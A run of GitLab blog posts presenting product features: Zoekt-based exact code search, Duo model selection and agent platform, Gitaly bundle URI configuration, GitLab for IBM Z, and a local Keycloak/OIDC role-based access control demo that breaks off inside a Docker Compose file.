Quickly identify potential security issues with context that helps assess risk

Impact: Transform security audits from manual, error-prone processes to systematic, comprehensive reviews.

Cross-repository insights

Search across your entire namespace or instance to:

Identify similar implementations across different projects
Discover opportunities for shared libraries or standardization

Impact: Break down silos between projects and identify opportunities for code reuse and standardization.

The technical foundation: How Zoekt delivers speed and precision

Before diving into our scale achievements, let's explore what makes Zoekt fundamentally different from traditional search engines — and why it can find exact matches so incredibly fast.

Positional trigrams: The secret to lightning-fast exact matches

Zoekt's speed comes from its use of positional trigrams — a technique that indexes every sequence of three characters along with their exact positions in files. This approach solves one of the biggest pain points developers have had with Elasticsearch-based code search: false positives.

Here's how it works:

Traditional full-text search engines like Elasticsearch tokenize code into words and lose positional information. When you search for getUserId(), they might return results containing user, get, and Id scattered throughout a file — leading to those frustrating false positives for GitLab users.

Zoekt's positional trigrams maintain exact character sequences and their positions. When you search for getUserId(), Zoekt looks for the exact trigrams like get, etU, tUs, Use, ser, erI, rId, Id(", "d(), all in the correct sequence and position. This ensures that only exact matches are returned.

The result? Search queries that previously returned hundreds of irrelevant results now return only the precise matches you're looking for. This was one of our most requested features for good reason - developers were losing significant time sifting through false positives.

Regular expression performance at scale

Zoekt excels at exact matches and is optimized for regular expression searches. The engine uses sophisticated algorithms to convert regex patterns into efficient trigram queries when possible, maintaining speed even for complex patterns across terabytes of code.

Built for enterprise scale

Exact Code Search is powerful and built to handle massive scale with impressive performance. This is not just a new UI feature — it's powered by a completely reimagined backend architecture.

Handling terabytes of code with ease

On GitLab.com alone, our Exact Code Search infrastructure indexes and searches over 48 TB of code data while maintaining lightning-fast response times. This scale represents millions of repositories across thousands of namespaces, all searchable within milliseconds. To put this in perspective: This scale represents more code than the entire Linux kernel, Android, and Chromium projects combined. Yet Exact Code Search can find a specific line across this massive codebase in milliseconds.

Self-registering node architecture

Our innovative implementation features:

Automatic node registration: Zoekt nodes register themselves with GitLab
Dynamic shard assignment: The system automatically assigns namespaces to nodes
Health monitoring: Nodes that don't check in are automatically marked offline

This self-configuring architecture dramatically simplifies scaling. When more capacity is needed, administrators can simply add more nodes without complex reconfiguration.

Distributed system with intelligent load balancing

Behind the scenes, Exact Code Search operates as a distributed system with these key components:

Specialized search nodes: Purpose-built servers that handle indexing and searching
Smart sharding: Code is distributed across nodes based on namespaces
Automatic load balancing: The system intelligently distributes work based on capacity
High availability: Multiple replicas ensure continuous operation even if nodes fail

Note: High availability is built into the architecture but not yet fully enabled. See Issue 514736 for updates.

Seamless security integration

Exact Code Search automatically integrates with GitLab's permission system:

Search results are filtered based on the user's access rights
Only code from projects the user has access to is displayed
Security is built into the core architecture, not added as an afterthought

Optimized performance

Efficient indexing: Large repositories are indexed in tens of seconds
Fast query execution: Most searches return results with sub-second response times
Streaming results: The new gRPC-based federated search streams results as they're found
Early termination: Once enough results are collected, the system pauses searching

From library to distributed system: Engineering challenges we solved

While Zoekt provided the core search technology, it was originally designed as a minimal library for managing .zoekt index files - not a distributed database or enterprise-scale service. Here are the key engineering challenges we overcame to make it work at GitLab's scale"

Challenge 1: Building an orchestration layer

The problem: Zoekt was designed to work with local index files, not distributed across multiple nodes serving many concurrent users.

Our solution: We built a comprehensive orchestration layer that:

Creates and manages database models to track nodes, indices, repositories, and tasks
Implements a self-registering node architecture (inspired by GitLab Runner)
Handles automatic shard assignment and load balancing across nodes
Provides bidirectional API communication between GitLab Rails and Zoekt nodes

Challenge 2: Scaling storage and indexing

The problem: How do you efficiently manage terabytes of index data across multiple nodes while ensuring fast updates?

Our solution: We implemented:

Intelligent sharding: Namespaces are distributed across nodes based on capacity and load
Independent replication: Each node independently indexes from Gitaly (our Git storage service), eliminating complex synchronization
Watermark management: Sophisticated storage allocation that prevents nodes from running out of space
Unified binary architecture: A single gitlab-zoekt binary that can operate in both indexer and webserver modes

Challenge 3: Permission Integration

The problem: Zoekt had no concept of GitLab's complex permission system - users should only see results from projects they can access.

Our solution: We built native permission filtering directly into the search flow:

Search requests include user permission context
Results are filtered to include only those the user can access in case permissions change before indexing completes

Challenge 4: Operational simplicity

The problem: Managing a distributed search system shouldn't require a dedicated team.

Our solution:

Auto-scaling: Adding capacity is as simple as deploying more nodes - they automatically register and start handling work
Self-healing: Nodes that don't check in are automatically marked offline and their work redistributed
Zero-configuration sharding: The system automatically determines optimal shard assignments

Gradual rollout: Minimizing risk at scale

Rolling out a completely new search backend to millions of users required careful planning. Here's how we minimized customer impact while ensuring reliability:

Phase 1: Controlled testing (gitlab-org group)

We started by enabling Exact Code Search only for the gitlab-org group - our own internal repositories. This allowed us to:

Test the system with real production workloads
Identify and fix performance bottlenecks
Streamline the deployment process
Learn from real users' workflows and feedback

Phase 2: Performance validation and optimization

Before expanding, we focused on ensuring the system could handle GitLab.com's scale:

Implemented comprehensive monitoring and alerting
Validated storage management with real production data growth

Phase 3: Incremental customer expansion

We gradually expanded to customers interested in testing Exact Code Search:

Gathered feedback on performance and user experience
Refined the search UI based on real user workflows
Optimized indexing performance (large repositories like gitlab-org/gitlab now index in ~10 seconds)
Refined the architecture based on operational learnings
Massively increased indexing throughput and improved state transition livecycle

Phase 4: Broad rollout

Today, over 99% of Premium and Ultimate licensed groups on GitLab.com have access to Exact Code Search. Users can:

Toggle between regex and exact search modes
Experience the benefits without any configuration changes
Fall back to the previous search if needed (though few choose to)

Rolling this out gradually meant users didn't experience service disruptions, performance degradation, or feature gaps during the transition. We've already received positive feedback from users as they notice their results becoming more relevant and faster.

For technical deep dive: Interested in the detailed architecture and implementation? Check out our comprehensive design document for in-depth technical details about how we built this distributed search system.

Getting started with Exact Code Search

Getting started with Exact Code Search is simple because it's already enabled by default for Premium and Ultimate groups on GitLab.com (over 99% of eligible groups currently have access).

Quickstart guide

Navigate to the Advanced Search in your GitLab project or group
Enter your search term in the code tab
Toggle between Exact Match and Regular Expression modes
Use filters to refine your search

Basic search syntax

Whether using Exact Match or Regular Expression mode, you can refine your search with modifiers:

Query Example	What It Does
`file:js`	Searches only in files containing "js" in their name
`foo -bar`	Finds "foo" but excludes results with "bar"
`lang:ruby`	Searches only in Ruby files
`sym:process`	Finds "process" in symbols (methods, classes, variables)

Pro Tip: For the most efficient searches, start specific and then broaden if needed. Using file: and lang: filters dramatically increases relevance.

Advanced search techniques

Stack multiple filters for precision:

is_expected file:rb -file:spec

This finds "is_expected" in Ruby files that don't have "spec" in their name.

Use regular expressions for powerful patterns:

token.*=.*[\"']

Watch this search performed against the GitLab Zoekt repository.

The search helps find hardcoded passwords, which, if not found, can be a security issue.

For more detailed syntax information, check the Exact Code Search documentation.

Availability and deployment

Current availability

Exact Code Search is currently in Beta for GitLab.com users with Premium and Ultimate licenses:

Available for over 99% of licensed groups
Search in the UI automatically uses Zoekt when available, Exact Code Search in Search API is behind a feature flag

Self-managed deployment options

For self-managed instances, we offer several deployment methods:

Kubernetes/Helm: Our most well-supported method, using our gitlab-zoekt Helm chart
Other deployment options: We're working on streamlining deployment for Omnibus and other installation methods

System requirements depend on your codebase size, but the architecture is designed to scale horizontally and/or vertically as your needs grow.

What's coming next

While Exact Code Search is already powerful, we're continuously improving it:

Scale optimizations to support instances with hundreds of thousands of repositories
Improved self-managed deployment options, including streamlined Omnibus support
Full high availability support with automatic failover and load balancing

Stay tuned for updates as we move from Beta to General Availability.

Transform how you work with code

GitLab's Exact Code Search represents a fundamental rethinking of code discovery. By delivering exact matches, powerful regex support, and contextual results, it solves the most frustrating aspects of code search:

No more wasting time with irrelevant results
No more missing important matches
No more clicking through files just to understand basic context
No more performance issues as codebases grow

The impact extends beyond individual productivity:

Teams collaborate better with easy code referencing
Knowledge sharing accelerates when patterns are discoverable
Onboarding becomes faster with quick codebase comprehension
Security improves with effective pattern auditing
Technical debt reduction becomes more feasible

Exact Code Search isn't just a feature, it's a better way to understand and work with code. Stop searching and start finding.

We'd love to hear from you! Share your experiences, questions, or feedback about Exact Code Search in our feedback issue. Your input helps us prioritize improvements and new features.

Ready to experience smarter code search? Learn more in our documentation or try it now by performing a search in your Premium or Ultimate licensed namespaces or projects. Not a GitLab user yet? Try a free, 60-day trial of GitLab Ultimate with Duo!

Speed meets governance: Model Selection comes to GitLab Duo

2025-06-25T00:00:00.000Z

New AI models are released almost daily, each with unique capabilities, performance characteristics, and compliance implications. At GitLab, we're committed to delivering cutting-edge AI capabilities by continuously integrating the latest and highest-performing models as they become available. However, we know this fast pace can create complex challenges for enterprise organizations whose model usage is subject to strict governance, compliance, and security standards.

Meet GitLab Duo Model Selection, a powerful new capability that gives teams control over the large language models (LLMs) used in your organization. Available in private beta in the newly released GitLab 18.1 to all GitLab.com customers using Duo Enterprise, Duo Model Selection makes it easier to maintain governance, compliance, and security standards while helping accelerate innovation with agentic and generative AI. With Duo Model Selection, organizations can adopt GitLab Duo faster by selecting models from their pre-approved vendor list, versus the GitLab default model.

The benefits of GitLab Duo Model Selection

Duo Model Selection gives GitLab.com namespace owners control over which AI models teams can use across different GitLab Duo features, though those without specialized requirements are recommended to use the GitLab default model. With Duo Model Selection, you can:

Configure models at the organization level: Set AI model preferences that apply across your organization’s entire namespace, ensuring consistent governance and compliance standards. Namespace owners can select models approved by their organization from GitLab's validated model catalog.
Control models per GitLab Duo feature: Different GitLab Duo features can use different models based on your specific needs.

Watch Duo Model Selection in action:

Join the Duo Model Selection private beta

Ready to take control of your AI governance? Duo Model Selection is currently in private beta for all GitLab.com customers using Duo Enterprise. To join the private beta, reach out to your GitLab account team. If you don’t have Duo, sign up for a GitLab Duo trial today!

Find out everything that's new and exciting, including agentic AI capabilities, in GitLab 18 with our on-demand launch event.

GitLab Duo Agent Platform: What’s next for intelligent DevSecOps

2025-06-24T00:00:00.000Z

I’m thrilled to introduce the next evolution of Duo Workflow: GitLab Duo Agent Platform. This innovative platform extends agentic capabilities across the software development lifecycle, enabling teams to work in parallel with multiple AI agents.

Imagine starting your day like this:

You assign one AI agent to conduct deep research on an epic your team is working on, provide the latest updates on all contributions from the past week, and suggest a release post based on recent feature additions.
In parallel, you delegate a handful of accessibility bugs to several agents for analysis and to make the necessary code changes to resolve them.
Meanwhile, you ask another agent to review your complicated code changes and provide feedback before sending them to your teammate for formal review.
Finally, when the security team pings you about a new vulnerability that needs investigation across your entire project, you hand that research task to your security agent.

All of this happens simultaneously, while you focus on architecture decisions, creative problem-solving, and strategic technical work. GitLab Duo Agent Platform will let you delegate tasks to five, 10, or even 100 specialized agents — all with full context of your project, not just your code, including CI job logs, planning work items, and so much more. You’re automating the tedious work you have to do, so you can focus on the work that inspires you.

This isn't about replacing developers. It's about amplifying human creativity and expertise by removing the friction from routine tasks. That’s the future we’re building with GitLab Duo Agent Platform.

What is GitLab Duo Agent Platform?

GitLab Duo Agent Platform will enable many-to-many collaboration between engineers and AI agents across the full software development lifecycle, designed to help teams dramatically improve productivity and cycle time.

Built on GitLab’s secure foundation, GitLab Duo Agent Platform is customizable and extendable. It empowers developers to build agents to tackle all kinds of software engineering problems, leveraging context across your entire software development lifecycle.

GitLab Duo Agent Platform will go beyond code creation with specialized agents and custom workflows that can help with a nearly unlimited list of activities, including:

Issue implementation
Large-scale migrations/dependency upgrades
Automated documentation building/release posts
Fixing broken pipelines
Incident research support
Deep research of status and information on topics
Backlog administration
Vulnerability resolution
Reviews for specific types of code (e.g. database)
Quick internal tool building based on existing build blocks
and many more!

You will be able to use our agents out of the box as well as customize and extend them. We’re currently beta testing GitLab Duo Agent Platform with dozens of customers and will open beta access to more teams soon.

Watch GitLab Duo Agent Platform in action:

Choose your tools, your models, and your agents

Consistent with GitLab’s commitment to being an open platform, GitLab agents will seamlessly interoperate with your choice of code-authoring developer tools via standard model context protocol (MCP) and the agent-to-agent (A2A) framework, whether you’re using Cursor, Claude Code, Windsurf, OpenAI Codex, or others.

The platform will accept code contributions from any development tool in your stack, whether that code was written by a human developer or generated by an AI agent. This means your existing workflows and preferred tools will continue to work seamlessly as you integrate agent capabilities.

GitLab Duo Agent Platform will work with any approved language model that meets our selection criteria. For organizations with strict security requirements, it will support approved self-hosted models running in completely air-gapped environments. Your infrastructure requirements and security policies won’t limit your ability to benefit from agentic development.

Context is everything, and your GitLab Duo agents have it

The difference between a helpful AI tool and a truly intelligent agent comes down to context. With GitLab Duo Agent Platform, agents don't work in isolation — they're deeply integrated into the platform where development work happens.

Every agent will automatically understand the full picture of your projects, including your open issues and their history, the merge requests that resolved them, the structure and rationale behind your code, your CI/CD pipeline configurations, security findings, compliance requirements, and the intricate relationships between all these components.

Just like your human team members, agents have all the context to help you ship secure software faster. Instead of just answering questions about code, they will be able to provide insights about how a proposed change might affect your deployment pipeline or suggest security improvements based on your existing compliance rules. We believe that the more your team works within GitLab’s DevSecOps platform, the smarter your agents will become.

Stay in control while agents scale your team

Building trust with AI agents isn't fundamentally different from building trust with new team members. You need to see their work, understand their approach, and gradually increase their responsibilities as they prove their competence.

That's the philosophy behind our agent approval workflow. Before any agent makes changes to your code or environment, it will present you with a clear plan: what it understands about the issue, the approach it will take, and the specific actions it wants to perform. You’ll then get the opportunity to review, approve, or redirect as needed. Over time, as agents consistently deliver quality work, you will be able to grant them greater autonomy for routine tasks while maintaining oversight for complex or critical work.

Built for community and customization

GitLab has always thrived on community contributions, and this year marked a milestone with record-breaking customer contributions to our platform. Now we're extending that same collaborative energy to AI agents through our open framework approach.

GitLab Duo Agent Platform isn't just about the agents we build — it's about empowering you and the broader community to create specialized agents that solve your unique engineering challenges. Whether you need an agent that understands your specific coding standards, integrates with your custom toolchain, or handles domain-specific tasks, the platform will give you the building blocks to make it happen.

This community-driven model creates a virtuous cycle that leverages the strength of the GitLab community through global sharing, similar to our CI/CD Catalog. Diverse real-world use cases drive innovation. Enterprise feedback ensures reliability and security. And shared solutions benefit everyone. It's the same collaborative approach that has made GitLab successful, now applied to the frontier of agentic development.

How to get started

If you've been experimenting with GitLab Duo Agentic Chat, now included with every GitLab 18 Premium and Ultimate GitLab.com user license, you've already gotten a taste of what's possible with AI agents in your development workflow.

To see what GitLab Duo Agent Platform can do and what we’re working on, check out the demos in the recording of our annual GitLab 18 release event.

Want to be among the first to experience it? Sign up for the GitLab Duo Agent Platform beta waitlist. This summer, we'll be opening access to more teams, with new agent features coming out in GitLab 18's upcoming releases throughout the year. We expect general availability this winter.

Disclaimer: This presentation contains information related to upcoming products, features, and functionality. It is important to note that the information in this presentation is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this presentation and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.

Learn more

Reduce the load on GitLab Gitaly with bundle URI

2025-06-24T00:00:00.000Z

Gitaly plays a vital role in the GitLab ecosystem — it is the server component that handles all Git operations. Every push and pull made to/from a repository is handled by Gitaly, which has direct access to the disk where the actual repositories are stored. As a result, when Gitaly is under heavy load, some operations like CI/CD pipelines and browsing a repository in the GitLab UI can become quite slow. This is particularly true when serving clones and fetches for large and busy monorepos, which can consume large amounts of CPU and memory.

Bundle URI takes significant load off of Gitaly servers during clones by allowing Git to pre-download a bundled repository from object storage before calling the Gitaly servers to fetch the remaining objects.

Here is a graph that shows the difference between clones without and with bundle URI.

This graph shows the results of a small test we ran on an isolated GitLab installation, with Gitaly running on a machine with 2 CPUs. We wanted to test bundle URI with a large repository, so we pushed the GitLab repository to the instance. We also generated a bundle beforehand.

The big CPU spike is from when we performed a single clone of the GitLab repository with bundle URI disabled. It's quite noticeable. A little later, we turned on bundle URI and launched three concurrent clones of the GitLab repository. Sure enough, turning on bundle URI provides massive performance gain. We can't even distinguish the CPU usage of the three clones from normal usage.

Configure Gitaly to use bundle URI

To enable bundle URI on your GitLab installation, there are a couple of things you need to configure.

Create a cloud bucket

Bundles need to be stored somewhere. The ideal place is in a cloud storage bucket. Gitaly uses the gocloud.dev library to read and write from cloud storage. Any cloud storage solution supported by this library can be used. Once you have a cloud bucket URL, you can add it in the Gitaly configuration here:

[bundle_uri]
go_cloud_url = ""

It must be noted that Gitaly does not manage the lifecycle of the bundles stored in the bucket. To avoid cost issues, object lifecycle policies must be enabled on the bucket in order to delete unused or old objects.

Enable the feature flags

There are two feature flags to enable:

gitaly_bundle_generation enables auto-generation of bundles.
gitaly_bundle_uri makes Gitaly advertise bundle URIs when they are available (either manually created or auto-generated) and allows the user to manually generate bundles.

These feature flags can be enabled at-large on a GitLab installation, or per repository. See the documentation on how to enable a GitLab feature behind a feature flag.

How to generate bundles

Gitaly offers two ways for users to use bundle URI: a manual way and an auto-generated way.

Manual

It is possible to create a bundle manually by connecting over SSH with the Gitaly node that stores the repository you want to create a bundle for, and run the following command:

sudo -u git -- /opt/gitlab/embedded/bin/gitaly bundle-uri 
--config=
--storage=
--repository=

This command will create a bundle for the given repository and store it into the bucket configured above. When a subsequent git clone request will reach Gitaly for the same repository, the bundle URI mechanism described above will come into play.

Auto-generated

Gitaly can also generate bundles automatically, using a heuristic to determine if it is currently handling frequent clones for the same repository.

The current heuristic keeps track of the number of times a git fetch request is issued for each repository. If the number of requests reaches a certain threshold in a given time interval, a bundle is automatically generated. Gitaly also keeps track of the last time it generated a bundle for a repository. When a new bundle should be regenerated, based on the threshold and interval, Gitaly looks at the last time a bundle was generated for the given repository. It will only generate a new bundle if the existing bundle is older than some maxBundleAge configuration. The old bundle is overwritten. There can only be one bundle per repository in cloud storage.

Using bundle URI

When a bundle exists for a repository, it can be used by the git clone command.

Cloning from your terminal

To clone a repository from your terminal, make sure your Git configuration enables bundle URI. The configuration can be set like so:

git config --global transfer.bundleuri true

To verify that bundle URI is used during a clone, you can run the git clone command with GIT_TRACE=1 and see if your bundle is being downloaded:

➜  GIT_TRACE=1 git clone https://gitlab.com/gitlab-org/gitaly
...
14:31:42.374912 run-command.c:667       trace: run_command: git-remote-https ''
...

Cloning during CI/CD pipelines

One scenario where using bundle URI would be beneficial is during a CI/CD pipeline, where each job needs a copy of the repository in order to run. Cloning a repository during a CI/CD pipeline is the same as cloning a repository from your terminal, except that the Git client in this case is the GitLab Runner. Thus, we need to configure the GitLab Runner in such a way that it can use bundle URI.

1. Update the helper-image

The first thing to do to configure the GitLab Runner is to overwrite the helper-image that your GitLab Runner instances use. The helper-image is the image that is used to run the process of cloning a repository before the job starts. To use bundle URI, the image needs the following:

Git Version 2.49.0 or later
GitLab Runner helper Version 18.1.0 or later

The helper-images can be found here. Select an image that corresponds to the OS distribution and the architecture you use for your GitLab Runner instances, and verify that the image satisfies the requirements.

At the time of writing, the alpine-edge--v18.1.0* tag meets all requirements.

You can validate the image meets all requirements with:

docker run -it 
$ git version ## must be 2.49.0 or newer
$ gitlab-runner-helper -v ## must be 18.0 or newer

If you do not find an image that meets the requirements, you can also use the helper-image as a base image and install the requirements yourself in a custom-built image that you can host on GitLab Container Registry.

Once you have found the image you need, you must configure your GitLab Runner instances to use it by updating your config.toml file:

[[runners]]
 (...)
 executor = "docker"
 [runners.docker]
    (...)
    helper_image = "image:tag" ## <-- put the image name and tag here

Once the configuration is changed, you must restart the runners for the new configuration to take effect.

2. Turn on the feature flag

Next, you must enable the FF_USE_GIT_NATIVE_CLONE GitLab Runner feature flags in your .gitlab-ci.yml file. To do that, simply add it as a variable and set to true :

variables:
  FF_USE_GIT_NATIVE_CLONE: "true"

The GIT_STRATEGY must also be set to clone, as Git bundle URI only works with clone commands.

How bundle URI works

When a user clones a repository with the git clone command, a process called git-receive-pack is launched on the client's machine. This process communicates with the remote repository's server (it can be over HTTP/S, SSH, etc.) and asks to start a git-upload-pack process. Those two processes then exchange information using the Git protocol (it must be noted that bundle URI is only supported with Git protocol v2). The capabilities both processes support and the references and objects the client needs are among the information exchanged. Once the Git server has determined which objects to send to the client, it must package them into a packfile, which, depending on the size of the data it must process, can consume a good amount of resources.

Where does bundle URI fit into this interaction? If bundle URI is advertised as a capability from the upload-pack process and the client supports bundle URI, the Git client will ask the server if it knows about any bundle URIs. The server sends those URIs back and the client downloads those bundles.

Here is a diagram that shows those interactions:


sequenceDiagram


    participant receive as Client


    participant upload as Server


    participant cloud as File server


    receive ->> upload: issue git-upload-pack


    upload -->> receive: list of server capabilities


    opt if bundle URI is advertised as a capability


    receive ->> upload: request bundle URI


    upload -->> receive: bundle URI


    receive ->> cloud: download bundle at URI


    cloud -->> receive: bundle file


    receive ->> receive: clone from bundle


    end


    receive ->> upload: requests missing references and objects


    upload -->> receive: packfile data

As such, Git bundle URI is a mechanism by which, during a git clone, a Git server can advertise the URI of a bundle for the repository being cloned by the Git client. When that is the case, the Git client can clone the repository from the bundle and request from the Git server only the missing references or objects that were not part of the bundle. This mechanism really helps to alleviate pressure from the Git server.

Alternatives

GitLab also has a feature Pack-objects cache. This feature works slightly differently than bundle URI. When the server packs objects together into a so-called packfile, this feature will keep that file in the cache. When another client needs the same set of objects, it doesn't need to repack them, but it can just send the same packfile again.

The feature is only beneficial when many clients request the exact same set of objects. In a repository that is quick-changing, this feature might not give any improvements. With bundle URI, it doesn't matter if the bundle is slightly out-of-date because the client can request missing objects after downloading the bundle and apply those changes on top. Also bundle URI in Gitaly stores the bundles on external storage, which the Pack-objects Cache stores them on the Gitaly node, so using the latter doesn't reduce network and I/O load on the Gitaly server.

Try bundle URI today

You can try the bundle URI feature in one of the following ways:

Download a free, 60-day trial version of GitLab Ultimate.
If you already run a self-hosted GitLab installation, upgrade to 18.1.
If you can't upgrade to 18.1 at this time, download GitLab to a local machine.

GitLab Ultimate for IBM Z: Modern DevSecOps for mainframes

2025-06-23T00:00:00.000Z

GitLab and IBM have partnered to solve a fundamental disconnect in enterprise development: enabling mainframe developers to work with the same modern tools, workflows, and collaboration features as their distributed counterparts. GitLab Ultimate for IBM Z, a GitLab-certified, integrated DevSecOps solution tailored for the mainframe environment, does just that — allowing organizations to modernize their mainframe development workflows by facilitating a seamless migration from outdated legacy library managers. With CI/CD pipelines running natively on IBM z/OS, customers experience accelerated innovation and reduced operational costs.

Challenges of today's mainframe development

Enterprise organizations that use IBM Z systems for mission-critical workloads face challenges that conventional DevSecOps tools aren’t equipped to address. Cloud-native teams benefit from modern CI/CD pipelines, collaborative development, and automated testing. In contrast, mainframe teams are often left behind — stuck with outdated tools that lead to costly inefficiencies and operational silos.

Teams often resort to workarounds, such as SSH connections and manual file transfers, which create security vulnerabilities and audit difficulties. When compliance requirements are stringent, these improvised solutions become unacceptable risks. Meanwhile, organizations maintain expensive parallel toolchains, with legacy mainframe development tools carrying premium licensing costs while delivering limited functionality compared to modern alternatives.

This fragmentation creates two problems: slower delivery cycles and difficulty attracting developers who expect modern development experiences.

"GitLab Ultimate for IBM Z represents an important step in addressing a long-standing industry challenge. IDC research shows that mainframe developers often work with legacy tooling that contributes to delivery inefficiencies and makes it harder to attract new talent. With this offering, modern DevSecOps capabilities and unified workflows are brought directly to the mainframe. This empowers developers to work more collaboratively and efficiently, while helping organizations accelerate innovation and integrate mainframe development into broader digital transformation strategies." - Katie Norton, Research Manager, DevSecOps and Software Supply Chain Security at IDC

Unified development environments

True modernization means more than just updating mainframe development. It means creating a unified platform where mainframe, cloud-native, web, and mobile development teams collaborate seamlessly.

GitLab Ultimate for IBM Z enables developers to use consistent workflows whether they're deploying to z/OS, cloud, or on-premises infrastructure — knowledge transfers between teams instead of staying siloed. Organizations can modernize incrementally without business disruption, as legacy systems continue operating while teams adopt modern practices at their own pace.

As organizations pursue hybrid cloud strategies, GitLab provides the foundation for applications that span mainframe and cloud-native environments.

What is GitLab Ultimate for IBM Z?

GitLab Ultimate for IBM Z delivers native z/OS Runner support, enabling seamless CI/CD pipeline execution directly on your mainframe infrastructure. This GitLab-certified solution helps eliminate the need for complex workarounds while maintaining the security and reliability your enterprise applications demand.

The combination of GitLab's comprehensive DevSecOps platform with IBM's deep mainframe expertise creates something unique in the market: a certified solution that provides a true bridge between enterprise legacy systems and cloud-native innovation.

GitLab Ultimate for IBM Z capabilities

GitLab Ultimate for IBM Z provides enterprise teams with the tools they need to modernize mainframe development while preserving critical business systems.

Native z/OS Runner support helps eliminate security risks and scalability bottlenecks associated with remote connections, while accelerating delivery through CI/CD pipelines that execute directly where your mainframe code resides.

Unified Source Code Management modernizes your toolchain by replacing expensive legacy library managers with GitLab's searchable, version-controlled repository system, helping reduce licensing costs and maintenance overhead.

Seamless integration with IBM Developer for z/OS Enterprise Edition (IDzEE) delivers faster software releases through dependency-based builds, automated code scanning, and comprehensive debugging tools within familiar developer environments, enhancing both quality and security.

End-to-end visibility across mainframe and distributed environments provides comprehensive project management from planning to production, enabling automated DevOps workflows that help retain talent through modern, next-generation development tools.

Modernize your mainframe development environment today

GitLab Ultimate for IBM Z is available now for organizations ready to transform their mainframe development experience. To learn more, visit the GitLab and IBM partnership page.

Automating role-based access control (RBAC) at scale

2025-06-20T00:00:00.000Z

Security starts with structure. Building a scalable and secure development platform begins with getting the fundamentals right — especially role-based access control (RBAC).

To help our customers scale effectively, we developed the RBAC Accelerator — a modular, outcome-driven enablement program that supports large organizations in defining, enforcing, and scaling access policies across GitLab.

This foundation enables broader transformation. For example, the Secure SDLC Accelerator, built on top of the RBAC Accelerator, empowers customers to integrate compliance, security, and DevSecOps best practices into their workflows.

GitLab customer Lely, a major Dutch manufacturer of agricultural machines and robots, used this approach to migrate to GitLab Dedicated. Lely automated user provisioning via Azure AD using OpenID Connect (OIDC), enforced least-privilege policies, and created a scalable, reusable access model to support their future development initiatives.

In this guide, we’ll take you through a hands-on implementation example of GitLab + Keycloak + OIDC, covering everything from running the setup in a Docker environment to automating role mapping, designing a scalable group hierarchy, and aligning GitLab access controls with organizational structure and compliance goals.

This is a local demo setup intended for proof-of-concept purposes only.

Whether you’re just starting out or optimizing at scale, this modular foundation ensures you’re not just securing access — you’re enabling everything that comes next.

Getting started with access control planning

Before implementing any tooling, it’s essential to understand your access landscape.

Consider:

What GitLab resources need protection (projects, groups, environments)?
Who are your personas (Developers, Maintainers, Guests, etc.)?
What organizational units (departments, cost centers) should govern access?
How does your IdP structure (Keycloak) define users and roles?

Use this stage to draft your:

Access control matrix
GitLab group hierarchy (team- or product-based)
Least privilege policy assumptions

Sample group hierarchy

graph TD
    Root["Root (Root Group)"]
    FirmwareTeam["Firmware-Team"]
    FirmwareDevelopers["Developers (GitLab Developer Role)"]
    FirmwareMaintainers["Maintainers (GitLab Maintainer Role)"]
    FirmwareReporters["Reporters (GitLab Reporter Role)"]
    HardwareTeam["Hardware-Team"]
    HardwareDevelopers["Developers"]
    SoftwareTeam["Software-Team"]
    SoftwareDevelopers["Developers"]
    SoftwareMaintainers["Maintainers"]
    SoftwareReporters["Reporters"]
    
    Enterprise --> FirmwareTeam
    Enterprise --> HardwareTeam
    Enterprise --> SoftwareTeam
    
    FirmwareTeam --> FirmwareDevelopers
    FirmwareTeam --> FirmwareMaintainers
    FirmwareTeam --> FirmwareReporters
    
    HardwareTeam --> HardwareDevelopers
    
    SoftwareTeam --> SoftwareDevelopers
    SoftwareTeam --> SoftwareMaintainers
    SoftwareTeam --> SoftwareReporters

Demo system setup: GitLab + Keycloak in a local Docker environment

Prerequisites

Docker, Docker Compose, OpenSSL
GitLab Version 17.7.3 and Keycloak Version 23.0.7 container images
Self-signed certificates

.env configuration

The demo setup is using the following GitLab and Keycloak versions, ports and secrets.

GitLab configuration

GITLAB_VERSION=17.7.3-ee.0
GITLAB_EXTERNAL_URL=http://localhost:8081
GITLAB_SSH_PORT=8222

Keycloak configuration

KEYCLOAK_VERSION=latest
KEYCLOAK_ADMIN=
KEYCLOAK_ADMIN_PASSWORD=
KEYCLOAK_HTTPS_PORT=8443
KEYCLOAK_CLIENT_SECRET=  # Get this from Keycloak after setup

Generate SSL certificates

To establish trust between GitLab and Keycloak, especially in a self-hosted Docker environment, we’ll need to generate self-signed SSL certificates. These certificates will enable encrypted HTTPS communication and ensure GitLab can securely talk to Keycloak during the OIDC authentication process.

For production environments, we recommend using certificates from a trusted Certificate Authority (CA), but for local testing and development, self-signed certificates are sufficient.

Follow these step-by-step instructions:

Create a folder for the certificates.

mkdir -p certs

Generate a self-signed certificate with OpenSSL.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout certs/tls.key \
  -out certs/tls.crt \
  -subj "/CN=keycloak" \
  -addext "subjectAltName=DNS:keycloak,DNS:localhost"

Create a PKCS12 keystore for Keycloak.

openssl pkcs12 -export \
  -in certs/tls.crt \
  -inkey certs/tls.key \
  -out certs/keystore.p12 \
  -name keycloak \
  -password pass:password

Start the service using Docker compose

Now that we have our certificates, we can stand up our local GitLab + Keycloak environment using Docker Compose:

version: '3.8'
services:
  gitlab:
    image: gitlab/gitlab-ee:${GITLAB_VERSION}
    container_name: gitlab
    restart: unless-stopped
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url '${GITLAB_EXTERNAL_URL:-http://localhost:8081}'
        gitlab_rails['gitlab_shell_ssh_port'] = ${GITLAB_SSH_PORT:-8222}
        gitlab_rails['display_initial_root_password'] = true

        # OAuth Configuration
        gitlab_rails['omniauth_enabled'] = true
        gitlab_rails['omniauth_allow_single_sign_on'] = ['openid_connect']
        gitlab_rails['omniauth_block_auto_created_users'] = false
        gitlab_rails['omniauth_providers'] = [
            {
                'name' => 'openid_connect',
                'label' => 'Keycloak',
                'args' => {
                    'name' => 'openid_connect',
                    'scope' => ['openid', 'profile', 'email'],
                    'response_type' => 'code',
                    'issuer' => 'https://localhost:8443/realms/GitLab',
                    'client_auth_method' => 'query',
                    'discovery' => false,
                    'uid_field' => 'preferred_username',
                    'pkce' => true,
                    'client_options' => {
                        'identifier' => 'gitlab',
                        'secret' => '${KEYCLOAK_CLIENT_SECRET}',
                        'redirect_uri' => '${GITLAB_EXTERNAL_URL:-http://localhost:8081}/users/auth/openid_connect/callback',
